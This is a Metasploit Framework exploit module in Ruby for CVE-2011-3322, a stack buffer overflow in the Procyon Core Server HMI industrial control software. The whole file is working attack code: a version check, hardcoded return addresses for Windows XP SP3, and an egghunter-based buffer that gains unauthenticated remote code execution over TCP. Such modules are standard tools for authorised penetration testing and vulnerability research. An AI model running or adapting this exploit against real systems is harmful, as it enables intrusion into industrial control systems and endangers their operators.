##

# $Id: procyon_core_server.rb 13724 2011-09-12 21:42:36Z swtornio $

##



##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##



require 'msf/core'



class Metasploit3 < Msf::Exploit::Remote

    Rank = NormalRanking



    include Msf::Exploit::Remote::Egghunter

    include Msf::Exploit::Remote::Tcp



    def initialize(info={})

        super(update_info(info,

            'Name'           => "Procyon Core Server HMI <= v1.13 Coreservice.exe Stack Buffer Overflow",

            'Description'    => %q{

                    This module exploits a vulnerability in the coreservice.exe component of Proycon

                Core Server <= v1.13. While processing a password, the application

                fails to do proper bounds checking before copying data into a small buffer on the stack.

                This causes a buffer overflow and allows to overwrite a structured exception handling

                record on the stack, allowing for unauthenticated remote code execution.  Also, after the

                payload exits, Coreservice.exe should automatically recover.

            },

            'License'        => MSF_LICENSE,

            'Version'        => '$Revision: 13724 $',

            'Author'         =>

                [

                    'Knud Højgaard <keh[at]nsense.dk>',        # Initial discovery

                    'mr_me <steventhomasseeley[at]gmail.com>', # Initial discovery & poc/msf

                ],

            'References'     =>

                [

                    ['CVE', 'CVE-2011-3322'],

                    ['OSVDB', '75371'],

                    ['URL', 'http://www.uscert.gov/control_systems/pdf/ICSA-11-216-01.pdf'],

                    ['URL', 'http://www.stratsec.net/Research/Advisories/Procyon-Core-Server-HMI-Remote-Stack-Overflow']

                ],

            'Payload'        =>

                {

                    'BadChars' => "\x00\x0a\x0d",

                },

            'DefaultOptions'  =>

                {

                    'ExitFunction' => 'process',

                },

            'Platform'       => 'win',

            'Targets'        =>

                [



                    [

                        'Windows XP SP3 - No dep bypass',

                        {

                            'Ret'    => 0x774699bf, # JMP ESP [user32.dll]

                            'Edx'    => 0x1D847770, # 0x7712dec2 -> 0x00700040 RW [oleaut32.dll]

                            'Eax'    => 0x01010106, # 0x7712dec2 -> 0x00700040 RW [oleaut32.dll]

                            'Offset' => 8

                        }

                    ],

                ],

            'Privileged'     => true,

            'DisclosureDate' => "Sep 08 2011",

            'DefaultTarget'  => 0))



            register_options(

            [

                Opt::RPORT(23)

            ], self.class)

    end



    def check

        connect

        res = sock.get_once.chomp  #This gives us string "----------------------------"

        res = sock.get_once.chomp  #This gives us the actual software version

        disconnect



        if res =~ /Core Command Interface V1\.(.*)2/

            return Exploit::CheckCode::Vulnerable

        end

        return Exploit::CheckCode::Safe

    end



    def exploit



        eggoptions =

        {

            :checksum => false,

            :eggtag => 'ssec',

        }



        badchars = "\x00\x0a\x0d"

        hunter,egg = generate_egghunter(payload.encoded, badchars, eggoptions)



        sploit = rand_text_alpha_upper(45)

        sploit << [target['Edx']].pack('V')

        sploit << [0x41414141].pack('V')

        sploit << [target['Eax']].pack('V')

        sploit << rand_text_alpha_upper(target['Offset'])

        sploit << [target.ret].pack('V')

        sploit << make_nops(10)

        sploit << hunter

        sploit << rand_text_alpha_upper(500)

        sploit << egg

        sploit << "\r\n"



        connect

        sock.get_once()

        print_status("Sending request...")

        sock.put(sploit)

        handler()

        disconnect



    end



end